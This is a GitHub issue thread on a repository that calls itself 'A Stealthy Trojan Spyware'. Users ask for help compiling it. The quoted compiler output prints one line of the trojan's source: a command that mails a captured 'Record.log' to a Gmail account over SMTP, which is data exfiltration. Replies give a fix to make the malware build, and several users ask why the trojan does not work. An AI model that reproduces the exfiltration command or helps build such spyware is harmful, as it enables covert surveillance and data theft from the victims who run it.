MinhasKamal / TrojanCockroach

A Stealthy Trojan Spyware
MIT License
951 stars 246 forks source link

Could not compile #11

Closed ishwarchandratiwari closed 5 years ago

ishwarchandratiwari commented 5 years ago

when I am trying to compile TrojanCockroach.cpp , it throws error

C:\Users\Ishwar\Downloads\trojanCockroach> g++ TrojanCockroach.cpp
TrojanCockroach.cpp: In function 'int main()': TrojanCockroach.cpp:72:5: error: return-statement with no value, in function returning 'int' [-fpermissive] return; // :)

TrojanCockroach.cpp: In function 'void sendData()': TrojanCockroach.cpp:141:21: warning: deprecated conversion from string constant to 'char' [-Wwrite-strings] char command = "Transmit smtp://smtp.gmail.com:587 -v --mail-from \"your.email@gmail.com\" --mail-rcpt \"your.email@gmail.com\" --ssl -u your.email@gmail.com:password -T \"Record.log\" -k --anyauth"; ^

TrojanCockroach.cpp: In function 'char* getRandomName()': TrojanCockroach.cpp:272:10: warning: address of local variable 'randomName' returned [-Wreturn-local-addr] char randomName[40];

ghost commented 5 years ago

Remove the return statement in line 72 and it should compile.

ishwarchandratiwari commented 5 years ago

Thanks

Remove the return statement in line 72 and it should compile.

Thanks

100rabh4 commented 5 years ago

after removing return; // :) in both the .cpp file.....it got compiled and but trojan is not working...

ariflimbong commented 5 years ago

after removing return; // :) in both the .cpp file.....it got compiled and but trojan is not working...

me too..may i know why?

Rezureaxx commented 3 years ago

after removing return; // :) in both the .cpp file.....it got compiled and but trojan is not working...

me too..may i know why?

Do you have a solution now?